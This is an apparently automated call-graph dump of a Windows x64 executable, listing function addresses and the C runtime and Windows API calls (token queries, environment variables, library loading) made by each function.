17154->17156 17157 7ff6399c1f77 17155->17157 17161 7ff6399c1fa5 17155->17161 17158 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17156->17158 17159 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17157->17159 17160 7ff6399c1f9d 17158->17160 17159->17160 17160->17134 17160->17136 17160->17137 17160->17138 17161->17156 17161->17160 17162 7ff6399c3ae0 45 API calls 17161->17162 17164 7ff6399c2254 17161->17164 17168 7ff6399c28c0 17161->17168 17194 7ff6399c2588 17161->17194 17224 7ff6399c1e10 17161->17224 17162->17161 17166 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17164->17166 17166->17156 17169 7ff6399c2975 17168->17169 17170 7ff6399c2902 17168->17170 17173 7ff6399c29cf 17169->17173 17174 7ff6399c297a 17169->17174 17171 7ff6399c299f 17170->17171 17172 7ff6399c2908 17170->17172 17241 7ff6399c0e70 17171->17241 17181 7ff6399c290d 17172->17181 17185 7ff6399c29de 17172->17185 17173->17171 17173->17185 17193 7ff6399c2938 17173->17193 17175 7ff6399c29af 17174->17175 17176 7ff6399c297c 17174->17176 17248 7ff6399c0a60 17175->17248 17178 7ff6399c291d 17176->17178 17184 7ff6399c298b 17176->17184 17191 7ff6399c2a0d 17178->17191 17227 7ff6399c3224 17178->17227 17181->17178 17183 7ff6399c2950 17181->17183 17181->17193 17183->17191 17237 7ff6399c36e0 17183->17237 17184->17171 17186 7ff6399c2990 17184->17186 17185->17191 17255 7ff6399c1280 17185->17255 17189 7ff6399c3878 37 API calls 17186->17189 17186->17191 17188 7ff6399bb870 _log10_special 8 API calls 17190 7ff6399c2ca3 17188->17190 17189->17193 17190->17161 17191->17188 17193->17191 17262 7ff6399cdb68 17193->17262 17195 7ff6399c2593 17194->17195 17196 7ff6399c25a9 17194->17196 17198 7ff6399c2975 17195->17198 17199 7ff6399c2902 17195->17199 17207 7ff6399c25e7 17195->17207 17197 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17196->17197 17196->17207 17197->17207 17202 7ff6399c29cf 17198->17202 17203 7ff6399c297a 17198->17203 17200 7ff6399c299f 17199->17200 17201 7ff6399c2908 17199->17201 17206 7ff6399c0e70 38 API calls 17200->17206 17211 7ff6399c290d 17201->17211 17215 7ff6399c29de 17201->17215 17202->17200 17202->17215 17222 7ff6399c2938 17202->17222 17204 7ff6399c29af 17203->17204 17205 7ff6399c297c 17203->17205 17209 7ff6399c0a60 38 API calls 17204->17209 17208 7ff6399c291d 17205->17208 17213 7ff6399c298b 17205->17213 17206->17222 17207->17161 17210 7ff6399c3224 47 API calls 17208->17210 17223 7ff6399c2a0d 17208->17223 17209->17222 17210->17222 17211->17208 17214 7ff6399c2950 17211->17214 17211->17222 17212 7ff6399c1280 38 API calls 17212->17222 17213->17200 17216 7ff6399c2990 17213->17216 17217 7ff6399c36e0 47 API calls 17214->17217 17214->17223 17215->17212 17215->17223 17219 7ff6399c3878 37 API calls 17216->17219 17216->17223 17217->17222 17218 7ff6399bb870 _log10_special 8 API calls 17220 7ff6399c2ca3 17218->17220 17219->17222 17220->17161 17221 7ff6399cdb68 47 API calls 17221->17222 17222->17221 17222->17223 17223->17218 17275 7ff6399c0034 17224->17275 17228 7ff6399c3246 17227->17228 17229 7ff6399bfea0 12 API calls 17228->17229 17230 7ff6399c328e 17229->17230 17231 7ff6399cd880 46 API calls 17230->17231 17232 7ff6399c3361 17231->17232 17233 7ff6399c3ae0 45 API calls 17232->17233 17236 7ff6399c3383 17232->17236 17233->17236 17234 7ff6399c340c 17234->17193 17234->17234 17235 7ff6399c3ae0 45 API calls 17235->17234 17236->17234 17236->17235 17236->17236 17238 7ff6399c36f8 17237->17238 17240 7ff6399c3760 17237->17240 17239 7ff6399cdb68 47 API calls 17238->17239 17238->17240 17239->17240 17240->17193 17242 7ff6399c0ea3 17241->17242 17243 7ff6399c0ed2 17242->17243 17245 7ff6399c0f8f 17242->17245 17244 7ff6399bfea0 12 API calls 17243->17244 17247 7ff6399c0f0f 17243->17247 17244->17247 17246 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17245->17246 17246->17247 17247->17193 17249 7ff6399c0a93 17248->17249 17250 7ff6399c0ac2 17249->17250 17252 7ff6399c0b7f 17249->17252 17251 7ff6399bfea0 12 API calls 17250->17251 17254 7ff6399c0aff 17250->17254 17251->17254 17253 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17252->17253 17253->17254 17254->17193 17256 7ff6399c12b3 17255->17256 17257 7ff6399c12e2 17256->17257 17259 7ff6399c139f 17256->17259 17258 7ff6399bfea0 12 API calls 17257->17258 17261 7ff6399c131f 17257->17261 17258->17261 17260 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17259->17260 17260->17261 17261->17193 17263 7ff6399cdb90 17262->17263 17264 7ff6399cdbd5 17263->17264 17265 7ff6399c3ae0 45 API calls 17263->17265 17269 7ff6399cdb95 memcpy_s 17263->17269 17271 7ff6399cdbbe memcpy_s 17263->17271 17264->17269 17264->17271 17272 7ff6399cfaf8 17264->17272 17265->17264 17266 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17266->17269 17269->17193 17271->17266 17271->17269 17273 7ff6399cfb1c WideCharToMultiByte 17272->17273 17276 7ff6399c0061 17275->17276 17277 7ff6399c0073 17275->17277 17278 7ff6399c43f4 memcpy_s 11 API calls 17276->17278 17279 7ff6399c0080 17277->17279 17283 7ff6399c00bd 17277->17283 17280 7ff6399c0066 17278->17280 17282 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17279->17282 17281 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17280->17281 17287 7ff6399c0071 17281->17287 17282->17287 17284 7ff6399c0166 17283->17284 17285 7ff6399c43f4 memcpy_s 11 API calls 17283->17285 17286 7ff6399c43f4 memcpy_s 11 API calls 17284->17286 17284->17287 17288 7ff6399c015b 17285->17288 17289 7ff6399c0210 17286->17289 17287->17161 17290 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17288->17290 17291 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17289->17291 17290->17284 17291->17287 17294 7ff6399cdf4d 17292->17294 17293 7ff6399c43f4 memcpy_s 11 API calls 17295 7ff6399cdf5c 17293->17295 17296 7ff6399c44fd 17294->17296 17297 7ff6399cdf52 17294->17297 17299 7ff6399cdf9c 17294->17299 17298 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17295->17298 17296->17145 17296->17152 17297->17293 17297->17296 17298->17296 17299->17296 17300 7ff6399c43f4 memcpy_s 11 API calls 17299->17300 17300->17295 17302 7ff6399c7555 17301->17302 17303 7ff6399c7568 17301->17303 17304 7ff6399c43f4 memcpy_s 11 API calls 17302->17304 17311 7ff6399c71cc 17303->17311 17307 7ff6399c755a 17304->17307 17309 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17307->17309 17308 7ff6399c7566 17308->16461 17309->17308 17318 7ff6399cf5e8 EnterCriticalSection 17311->17318 17320 7ff6399b7b91 GetTokenInformation 17319->17320 17321 7ff6399b7c13 __vcrt_freefls 17319->17321 17322 7ff6399b7bb2 GetLastError 17320->17322 17325 7ff6399b7bbd 17320->17325 17323 7ff6399b7c26 CloseHandle 17321->17323 17324 7ff6399b7c2c 17321->17324 17322->17321 17322->17325 17323->17324 17324->16470 17325->17321 17326 7ff6399b7bd9 GetTokenInformation 17325->17326 17326->17321 17327 7ff6399b7bfc 17326->17327 17327->17321 17328 7ff6399b7c06 ConvertSidToStringSidW 17327->17328 17328->17321 17514 7ff6399b3f70 108 API calls 17513->17514 17515 7ff6399b1463 17514->17515 17516 7ff6399b148c 17515->17516 17517 7ff6399b146b 17515->17517 17519 7ff6399bf9f4 73 API calls 17516->17519 17518 7ff6399b25f0 53 API calls 17517->17518 17520 7ff6399b147b 17518->17520 17521 7ff6399b14a1 17519->17521 17520->16529 17522 7ff6399b14c1 17521->17522 17523 7ff6399b14a5 17521->17523 17525 7ff6399b14f1 17522->17525 17526 7ff6399b14d1 17522->17526 17524 7ff6399b2760 53 API calls 17523->17524 17532 7ff6399b14bc __vcrt_freefls 17524->17532 17528 7ff6399b14f7 17525->17528 17534 7ff6399b150a 17525->17534 17527 7ff6399b2760 53 API calls 17526->17527 17527->17532 17537 7ff6399b11f0 17528->17537 17529 7ff6399bf36c 74 API calls 17531 7ff6399b1584 17529->17531 17531->16529 17532->17529 17533 7ff6399bf6bc _fread_nolock 53 API calls 17533->17534 17534->17532 17534->17533 17535 7ff6399b1596 17534->17535 17536 7ff6399b2760 53 API calls 17535->17536 17536->17532 17538 7ff6399b1248 17537->17538 17539 7ff6399b124f 17538->17539 17540 7ff6399b1277 17538->17540 17575 7ff6399b3f1a 17574->17575 17576 7ff6399b86b0 2 API calls 17575->17576 17577 7ff6399b3f3f 17576->17577 17578 7ff6399bb870 _log10_special 8 API calls 17577->17578 17579 7ff6399b3f67 17578->17579 17579->16554 17581 7ff6399b753e 17580->17581 17582 7ff6399b7662 17581->17582 17583 7ff6399b1bf0 49 API calls 17581->17583 17584 7ff6399bb870 _log10_special 8 API calls 17582->17584 17588 7ff6399b75c5 17583->17588 17585 7ff6399b7693 17584->17585 17585->16554 17586 7ff6399b1bf0 49 API calls 17586->17588 17587 7ff6399b3f10 10 API calls 17587->17588 17588->17582 17588->17586 17588->17587 17589 7ff6399b761b 17588->17589 17590 7ff6399b86b0 2 API calls 17589->17590 17593 7ff6399b15d3 17592->17593 17594 7ff6399b15f7 17592->17594 17681 7ff6399b1050 17593->17681 17596 7ff6399b3f70 108 API calls 17594->17596 17598 7ff6399b160b 17596->17598 17599 7ff6399b1613 17598->17599 17600 7ff6399b163b 17598->17600 17602 7ff6399b2760 53 API calls 17599->17602 17603 7ff6399b3f70 108 API calls 17600->17603 17605 7ff6399b162a 17602->17605 17606 7ff6399b164f 17603->17606 17605->16554 17631 7ff6399b694b 17630->17631 17633 7ff6399b6904 17630->17633 17631->16554 17633->17631 17720 7ff6399c4250 17633->17720 17635 7ff6399b3b51 17634->17635 17636 7ff6399b3e90 49 API calls 17635->17636 17637 7ff6399b3b8b 17636->17637 17638 7ff6399b3e90 49 API calls 17637->17638 17639 7ff6399b3b9b 17638->17639 17679 7ff6399b1bf0 49 API calls 17678->17679 17680 7ff6399b3e24 17679->17680 17680->16554 17682 7ff6399b3f70 108 API calls 17681->17682 17683 7ff6399b108b 17682->17683 17684 7ff6399b1093 17683->17684 17685 7ff6399b10a8 17683->17685 17686 7ff6399b25f0 53 API calls 17684->17686 17687 7ff6399bf9f4 73 API calls 17685->17687 17721 7ff6399c425d 17720->17721 17722 7ff6399c428a 17720->17722 17723 7ff6399c43f4 memcpy_s 11 API calls 17721->17723 17724 7ff6399c4214 17721->17724 17725 7ff6399c42ad 17722->17725 17726 7ff6399c42c9 17722->17726 17727 7ff6399c4267 17723->17727 17724->17633 17728 7ff6399c43f4 memcpy_s 11 API calls 17725->17728 17729 7ff6399c4178 45 API calls 17726->17729 17731 7ff6399c42b2 17728->17731 17734 7ff6399c42bd 17729->17734 17734->17633 17799 7ff6399c51d8 17798->17799 17800 7ff6399c51fe 17799->17800 17802 7ff6399c5231 17799->17802 17801 7ff6399c43f4 memcpy_s 11 API calls 17800->17801 17803 7ff6399c5203 17801->17803 17804 7ff6399c5244 17802->17804 17805 7ff6399c5237 17802->17805 17806 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17803->17806 17817 7ff6399c9f38 17804->17817 17807 7ff6399c43f4 memcpy_s 11 API calls 17805->17807 17809 7ff6399b3fc6 17806->17809 17807->17809 17809->16581 17830 7ff6399cf5e8 EnterCriticalSection 17817->17830 18191 7ff6399c6c08 18190->18191 18194 7ff6399c66e4 18191->18194 18193 7ff6399c6c21 18193->16589 18195 7ff6399c66ff 18194->18195 18196 7ff6399c672e 18194->18196 18197 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 18195->18197 18204 7ff6399c477c EnterCriticalSection 18196->18204 18200 7ff6399c671f 18197->18200 18200->18193 18206 7ff6399bf191 18205->18206 18207 7ff6399bf163 18205->18207 18209 7ff6399bf183 18206->18209 18215 7ff6399c477c EnterCriticalSection 18206->18215 18208 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 18207->18208 18208->18209 18209->16595 18217 7ff6399b86b0 2 API calls 18216->18217 18218 7ff6399b81b4 LoadLibraryExW 18217->18218 18219 7ff6399b81d3 __vcrt_freefls 18218->18219 18219->16625 18286 7ff6399b5b05 18285->18286 18287 7ff6399b1bf0 49 API calls 18286->18287 18288 7ff6399b5b41 18287->18288 18289 7ff6399b5b6d 18288->18289 18290 7ff6399b5b4a 18288->18290 18292 7ff6399b3fe0 49 API calls 18289->18292 18291 7ff6399b25f0 53 API calls 18290->18291 18308 7ff6399b5b63 18291->18308 18293 7ff6399b5b85 18292->18293 18294 7ff6399b5ba3 18293->18294 18295 7ff6399b25f0 53 API calls 18293->18295 18296 7ff6399b3f10 10 API calls 18294->18296 18295->18294 18298 7ff6399b5bad 18296->18298 18297 7ff6399bb870 _log10_special 8 API calls 18299 7ff6399b308e 18297->18299 18300 7ff6399b5bbb 18298->18300 18301 7ff6399b81a0 3 API calls 18298->18301 18299->16660 18316 7ff6399b5c80 18299->18316 18302 7ff6399b3fe0 49 API calls 18300->18302 18301->18300 18303 7ff6399b5bd4 18302->18303 18308->18297 18455 7ff6399b4c80 18316->18455 18318 7ff6399b5cba 18456 7ff6399b4cac 18455->18456 18457 7ff6399b4cb4 18456->18457 18458 7ff6399b4e54 18456->18458 18493 7ff6399c5db4 18456->18493 18457->18318 18459 7ff6399b5017 __vcrt_freefls 18458->18459 18460 7ff6399b4180 47 API calls 18458->18460 18459->18318 18460->18458 18573->16668 18575 7ff6399ca460 _CallSETranslator 45 API calls 18574->18575 18576 7ff6399c96f1 18575->18576 18577 7ff6399c9814 _CallSETranslator 45 API calls 18576->18577 18578 7ff6399c9711 18577->18578 18719 7ff6399cfbd8 18720 7ff6399cfbfc 18719->18720 18723 7ff6399cfc0c 18719->18723 18721 7ff6399c43f4 memcpy_s 11 API calls 18720->18721 18722 7ff6399cfc01 18721->18722 18724 7ff6399cfeec 18723->18724 18725 7ff6399cfc2e 18723->18725 18726 7ff6399c43f4 memcpy_s 11 API calls 18724->18726 18731 7ff6399cfc4f 18725->18731 18850 7ff6399d0294 18725->18850 18727 7ff6399cfef1 18726->18727 18729 7ff6399c9c58 __free_lconv_mon 11 API calls 18727->18729 18729->18722 18730 7ff6399cfcc1 18735 7ff6399cdea8 memcpy_s 11 API calls 18730->18735 18747 7ff6399cfc84 18730->18747 18731->18730 18733 7ff6399cfc75 18731->18733 18762 7ff6399cfcb5 18731->18762 18732 7ff6399cfd6e 18740 7ff6399cfd8b 18732->18740 18748 7ff6399cfddd 18732->18748 18865 7ff6399c89d8 18733->18865 18738 7ff6399cfcd7 18735->18738 18737 7ff6399c9c58 __free_lconv_mon 11 API calls 18737->18722 18741 7ff6399c9c58 __free_lconv_mon 11 API calls 18738->18741 18745 7ff6399c9c58 __free_lconv_mon 11 API calls 18740->18745 18746 7ff6399cfce5 18741->18746 18742 7ff6399cfc7f 18744 7ff6399c43f4 memcpy_s 11 API calls 18742->18744 18743 7ff6399cfc9d 18750 7ff6399d0294 45 API calls 18743->18750 18743->18762 18744->18747 18749 7ff6399cfd94 18745->18749 18746->18747 18752 7ff6399cdea8 memcpy_s 11 API calls 18746->18752 18746->18762 18747->18737 18748->18747 18751 7ff6399d26ec 40 API calls 18748->18751 18760 7ff6399cfd99 18749->18760 18907 7ff6399d26ec 18749->18907 18750->18762 18753 7ff6399cfe1a 18751->18753 18754 7ff6399cfd07 18752->18754 18755 7ff6399c9c58 __free_lconv_mon 11 API calls 18753->18755 18757 7ff6399c9c58 __free_lconv_mon 11 API calls 18754->18757 18758 7ff6399cfe24 18755->18758 18757->18762 18758->18747 18758->18760 18759 7ff6399cfee0 18763 7ff6399c9c58 __free_lconv_mon 11 API calls 18759->18763 18760->18759 18765 7ff6399cdea8 memcpy_s 11 API calls 18760->18765 18761 7ff6399cfdc5 18764 7ff6399c9c58 __free_lconv_mon 11 API calls 18761->18764 18762->18732 18762->18747 18871 7ff6399d643c 18762->18871 18763->18722 18764->18760 18766 7ff6399cfe68 18765->18766 18767 7ff6399cfe70 18766->18767 18768 7ff6399cfe79 18766->18768 18769 7ff6399c9c58 __free_lconv_mon 11 API calls 18767->18769 18770 7ff6399c97b4 __std_exception_copy 37 API calls 18768->18770 18771 7ff6399cfe77 18769->18771 18772 7ff6399cfe88 18770->18772 18775 7ff6399c9c58 __free_lconv_mon 11 API calls 18771->18775 18773 7ff6399cfe90 18772->18773 18774 7ff6399cff1b 18772->18774 18916 7ff6399d6554 18773->18916 18777 7ff6399c9c10 _isindst 17 API calls 18774->18777 18775->18722 18779 7ff6399cff2f 18777->18779 18780 7ff6399cff58 18779->18780 18787 7ff6399cff68 18779->18787 18783 7ff6399c43f4 memcpy_s 11 API calls 18780->18783 18781 7ff6399cfeb7 18785 7ff6399c43f4 memcpy_s 11 API calls 18781->18785 18782 7ff6399cfed8 18784 7ff6399c9c58 __free_lconv_mon 11 API calls 18782->18784 18812 7ff6399cff5d 18783->18812 18784->18759 18786 7ff6399cfebc 18785->18786 18789 7ff6399c9c58 __free_lconv_mon 11 API calls 18786->18789 18788 7ff6399d024b 18787->18788 18790 7ff6399cff8a 18787->18790 18791 7ff6399c43f4 memcpy_s 11 API calls 18788->18791 18789->18771 18792 7ff6399cffa7 18790->18792 18935 7ff6399d037c 18790->18935 18793 7ff6399d0250 18791->18793 18796 7ff6399d001b 18792->18796 18798 7ff6399cffcf 18792->18798 18805 7ff6399d000f 18792->18805 18795 7ff6399c9c58 __free_lconv_mon 11 API calls 18793->18795 18795->18812 18800 7ff6399d0043 18796->18800 18806 7ff6399cdea8 memcpy_s 11 API calls 18796->18806 18817 7ff6399cffde 18796->18817 18797 7ff6399d00ce 18810 7ff6399d00eb 18797->18810 18818 7ff6399d013e 18797->18818 18950 7ff6399c8a14 18798->18950 18803 7ff6399cdea8 memcpy_s 11 API calls 18800->18803 18800->18805 18800->18817 18811 7ff6399d0065 18803->18811 18804 7ff6399c9c58 __free_lconv_mon 11 API calls 18804->18812 18805->18797 18805->18817 18956 7ff6399d62fc 18805->18956 18807 7ff6399d0035 18806->18807 18813 7ff6399c9c58 __free_lconv_mon 11 API calls 18807->18813 18808 7ff6399cfff7 18808->18805 18820 7ff6399d037c 45 API calls 18808->18820 18809 7ff6399cffd9 18814 7ff6399c43f4 memcpy_s 11 API calls 18809->18814 18815 7ff6399c9c58 __free_lconv_mon 11 API calls 18810->18815 18816 7ff6399c9c58 __free_lconv_mon 11 API calls 18811->18816 18813->18800 18814->18817 18819 7ff6399d00f4 18815->18819 18816->18805 18817->18804 18818->18817 18821 7ff6399d26ec 40 API calls 18818->18821 18824 7ff6399d26ec 40 API calls 18819->18824 18827 7ff6399d00fa 18819->18827 18820->18805 18822 7ff6399d017c 18821->18822 18823 7ff6399c9c58 __free_lconv_mon 11 API calls 18822->18823 18825 7ff6399d0186 18823->18825 18828 7ff6399d0126 18824->18828 18825->18817 18825->18827 18826 7ff6399d023f 18829 7ff6399c9c58 __free_lconv_mon 11 API calls 18826->18829 18827->18826 18831 7ff6399cdea8 memcpy_s 11 API calls 18827->18831 18830 7ff6399c9c58 __free_lconv_mon 11 API calls 18828->18830 18829->18812 18830->18827 18832 7ff6399d01cb 18831->18832 18833 7ff6399d01d3 18832->18833 18834 7ff6399d01dc 18832->18834 18835 7ff6399c9c58 __free_lconv_mon 11 API calls 18833->18835 18836 7ff6399cf784 37 API calls 18834->18836 18837 7ff6399d01da 18835->18837 18838 7ff6399d01ea 18836->18838 18841 7ff6399c9c58 __free_lconv_mon 11 API calls 18837->18841 18839 7ff6399d01f2 SetEnvironmentVariableW 18838->18839 18840 7ff6399d027f 18838->18840 18842 7ff6399d0216 18839->18842 18843 7ff6399d0237 18839->18843 18844 7ff6399c9c10 _isindst 17 API calls 18840->18844 18841->18812 18846 7ff6399c43f4 memcpy_s 11 API calls 18842->18846 18845 7ff6399c9c58 __free_lconv_mon 11 API calls 18843->18845 18847 7ff6399d0293 18844->18847 18845->18826 18848 7ff6399d021b 18846->18848 18849 7ff6399c9c58 __free_lconv_mon 11 API calls 18848->18849 18849->18837 18851 7ff6399d02c9 18850->18851 18857 7ff6399d02b1 18850->18857 18852 7ff6399cdea8 memcpy_s 11 API calls 18851->18852 18860 7ff6399d02ed 18852->18860 18853 7ff6399c9814 _CallSETranslator 45 API calls 18855 7ff6399d0378 18853->18855 18854 7ff6399d034e 18856 7ff6399c9c58 __free_lconv_mon 11 API calls 18854->18856 18856->18857 18857->18731 18858 7ff6399cdea8 memcpy_s 11 API calls 18858->18860 18859 7ff6399c9c58 __free_lconv_mon 11 API calls 18859->18860 18860->18854 18860->18858 18860->18859 18861 7ff6399c97b4 __std_exception_copy 37 API calls 18860->18861 18862 7ff6399d035d 18860->18862 18864 7ff6399d0372 18860->18864 18861->18860 18863 7ff6399c9c10 _isindst 17 API calls 18862->18863 18863->18864 18864->18853 18866 7ff6399c89f1 18865->18866 18867 7ff6399c89e8 18865->18867 18866->18742 18866->18743 18867->18866 18980 7ff6399c84b0 18867->18980 18872 7ff6399d5564 18871->18872 18873 7ff6399d6449 18871->18873 18874 7ff6399d5571 18872->18874 18879 7ff6399d55a7 18872->18879 18875 7ff6399c4178 45 API calls 18873->18875 18876 7ff6399c43f4 memcpy_s 11 API calls 18874->18876 18895 7ff6399d5518 18874->18895 18878 7ff6399d647d 18875->18878 18880 7ff6399d557b 18876->18880 18877 7ff6399d55d1 18881 7ff6399c43f4 memcpy_s 11 API calls 18877->18881 18882 7ff6399d6493 18878->18882 18886 7ff6399d64aa 18878->18886 18905 7ff6399d6482 18878->18905 18879->18877 18883 7ff6399d55f6 18879->18883 18884 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 18880->18884 18885 7ff6399d55d6 18881->18885 18887 7ff6399c43f4 memcpy_s 11 API calls 18882->18887 18888 7ff6399d55e1 18883->18888 18892 7ff6399c4178 45 API calls 18883->18892 18889 7ff6399d5586 18884->18889 18890 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 18885->18890 18893 7ff6399d64b4 18886->18893 18894 7ff6399d64c6 18886->18894 18891 7ff6399d6498 18887->18891 18888->18762 18889->18762 18890->18888 18896 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 18891->18896 18892->18888 18897 7ff6399c43f4 memcpy_s 11 API calls 18893->18897 18898 7ff6399d64ee 18894->18898 18899 7ff6399d64d7 18894->18899 18895->18762 18896->18905 18901 7ff6399d64b9 18897->18901 19212 7ff6399d825c 18898->19212 19203 7ff6399d55b4 18899->19203 18904 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 18901->18904 18904->18905 18905->18762 18906 7ff6399c43f4 memcpy_s 11 API calls 18906->18905 18908 7ff6399d270e 18907->18908 18909 7ff6399d272b 18907->18909 18908->18909 18910 7ff6399d271c 18908->18910 18911 7ff6399d2735 18909->18911 19252 7ff6399d6f48 18909->19252 18912 7ff6399c43f4 memcpy_s 11 API calls 18910->18912 19259 7ff6399d6f84 18911->19259 18915 7ff6399d2721 memcpy_s 18912->18915 18915->18761 18917 7ff6399c4178 45 API calls 18916->18917 18918 7ff6399d65ba 18917->18918 18919 7ff6399d65c8 18918->18919 19271 7ff6399ce234 18918->19271 19274 7ff6399c47bc 18919->19274 18923 7ff6399d66b4 18926 7ff6399c9c58 __free_lconv_mon 11 API calls 18923->18926 18928 7ff6399d66c5 18923->18928 18924 7ff6399c4178 45 API calls 18925 7ff6399d6637 18924->18925 18929 7ff6399ce234 5 API calls 18925->18929 18931 7ff6399d6640 18925->18931 18926->18928 18927 7ff6399cfeb3 18927->18781 18927->18782 18928->18927 18930 7ff6399c9c58 __free_lconv_mon 11 API calls 18928->18930 18929->18931 18930->18927 18932 7ff6399c47bc 14 API calls 18931->18932 18933 7ff6399d669b 18932->18933 18933->18923 18934 7ff6399d66a3 SetEnvironmentVariableW 18933->18934 18934->18923 18936 7ff6399d039f 18935->18936 18937 7ff6399d03bc 18935->18937 18936->18792 18938 7ff6399cdea8 memcpy_s 11 API calls 18937->18938 18945 7ff6399d03e0 18938->18945 18939 7ff6399d0464 18940 7ff6399c9814 _CallSETranslator 45 API calls 18939->18940 18942 7ff6399d046a 18940->18942 18941 7ff6399d0441 18943 7ff6399c9c58 __free_lconv_mon 11 API calls 18941->18943 18943->18936 18944 7ff6399cdea8 memcpy_s 11 API calls 18944->18945 18945->18939 18945->18941 18945->18944 18946 7ff6399c9c58 __free_lconv_mon 11 API calls 18945->18946 18947 7ff6399cf784 37 API calls 18945->18947 18948 7ff6399d0450 18945->18948 18946->18945 18947->18945 18949 7ff6399c9c10 _isindst 17 API calls 18948->18949 18949->18939 18951 7ff6399c8a24 18950->18951 18953 7ff6399c8a2d 18950->18953 18951->18953 19296 7ff6399c8524 18951->19296 18953->18808 18953->18809 18957 7ff6399d6309 18956->18957 18960 7ff6399d6336 18956->18960 18958 7ff6399d630e 18957->18958 18957->18960 18959 7ff6399c43f4 memcpy_s 11 API calls 18958->18959 18962 7ff6399d6313 18959->18962 18961 7ff6399d637a 18960->18961 18963 7ff6399d6399 18960->18963 18978 7ff6399d636e __crtLCMapStringW 18960->18978 18965 7ff6399c43f4 memcpy_s 11 API calls 18961->18965 18964 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 18962->18964 18966 7ff6399d63a3 18963->18966 18967 7ff6399d63b5 18963->18967 18968 7ff6399d631e 18964->18968 18969 7ff6399d637f 18965->18969 18970 7ff6399c43f4 memcpy_s 11 API calls 18966->18970 18971 7ff6399c4178 45 API calls 18967->18971 18968->18805 18972 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 18969->18972 18973 7ff6399d63a8 18970->18973 18974 7ff6399d63c2 18971->18974 18972->18978 18975 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 18973->18975 18974->18978 19343 7ff6399d7e18 18974->19343 18975->18978 18978->18805 18979 7ff6399c43f4 memcpy_s 11 API calls 18979->18978 18981 7ff6399c84c5 18980->18981 18982 7ff6399c84c9 18980->18982 18981->18866 18995 7ff6399c8804 18981->18995 19003 7ff6399d1900 18982->19003 18987 7ff6399c84db 18989 7ff6399c9c58 __free_lconv_mon 11 API calls 18987->18989 18988 7ff6399c84e7 19029 7ff6399c8594 18988->19029 18989->18981 18992 7ff6399c9c58 __free_lconv_mon 11 API calls 18993 7ff6399c850e 18992->18993 18994 7ff6399c9c58 __free_lconv_mon 11 API calls 18993->18994 18994->18981 18996 7ff6399c882d 18995->18996 19001 7ff6399c8846 18995->19001 18996->18866 18997 7ff6399cfaf8 WideCharToMultiByte 18997->19001 18998 7ff6399cdea8 memcpy_s 11 API calls 18998->19001 18999 7ff6399c88d6 19000 7ff6399c9c58 __free_lconv_mon 11 API calls 18999->19000 19000->18996 19001->18996 19001->18997 19001->18998 19001->18999 19002 7ff6399c9c58 __free_lconv_mon 11 API calls 19001->19002 19002->19001 19004 7ff6399d190d 19003->19004 19008 7ff6399c84ce 19003->19008 19048 7ff6399ca534 19004->19048 19009 7ff6399d1c3c GetEnvironmentStringsW 19008->19009 19010 7ff6399c84d3 19009->19010 19011 7ff6399d1c6c 19009->19011 19010->18987 19010->18988 19012 7ff6399cfaf8 WideCharToMultiByte 19011->19012 19013 7ff6399d1cbd 19012->19013 19014 7ff6399d1cc4 FreeEnvironmentStringsW 19013->19014 19015 7ff6399cc90c _fread_nolock 12 API calls 19013->19015 19014->19010 19016 7ff6399d1cd7 19015->19016 19017 7ff6399d1cdf 19016->19017 19018 7ff6399d1ce8 19016->19018 19019 7ff6399c9c58 __free_lconv_mon 11 API calls 19017->19019 19020 7ff6399cfaf8 WideCharToMultiByte 19018->19020 19022 7ff6399d1ce6 19019->19022 19021 7ff6399d1d0b 19020->19021 19023 7ff6399d1d0f 19021->19023 19024 7ff6399d1d19 19021->19024 19022->19014 19025 7ff6399c9c58 __free_lconv_mon 11 API calls 19023->19025 19026 7ff6399c9c58 __free_lconv_mon 11 API calls 19024->19026 19027 7ff6399d1d17 FreeEnvironmentStringsW 19025->19027 19026->19027 19027->19010 19030 7ff6399c85b9 19029->19030 19031 7ff6399cdea8 memcpy_s 11 API calls 19030->19031 19043 7ff6399c85ef 19031->19043 19032 7ff6399c85f7 19033 7ff6399c9c58 __free_lconv_mon 11 API calls 19032->19033 19034 7ff6399c84ef 19033->19034 19034->18992 19035 7ff6399c866a 19036 7ff6399c9c58 __free_lconv_mon 11 API calls 19035->19036 19036->19034 19037 7ff6399cdea8 memcpy_s 11 API calls 19037->19043 19038 7ff6399c8659 19197 7ff6399c87c0 19038->19197 19039 7ff6399c97b4 __std_exception_copy 37 API calls 19039->19043 19042 7ff6399c868f 19045 7ff6399c9c10 _isindst 17 API calls 19042->19045 19043->19032 19043->19035 19043->19037 19043->19038 19043->19039 19043->19042 19046 7ff6399c9c58 __free_lconv_mon 11 API calls 19043->19046 19044 7ff6399c9c58 __free_lconv_mon 11 API calls 19044->19032 19047 7ff6399c86a2 19045->19047 19046->19043 19049 7ff6399ca545 FlsGetValue 19048->19049 19050 7ff6399ca560 FlsSetValue 19048->19050 19051 7ff6399ca552 19049->19051 19052 7ff6399ca55a 19049->19052 19050->19051 19053 7ff6399ca56d 19050->19053 19054 7ff6399ca558 19051->19054 19055 7ff6399c9814 _CallSETranslator 45 API calls 19051->19055 19052->19050 19056 7ff6399cdea8 memcpy_s 11 API calls 19053->19056 19068 7ff6399d15d4 19054->19068 19057 7ff6399ca5d5 19055->19057 19058 7ff6399ca57c 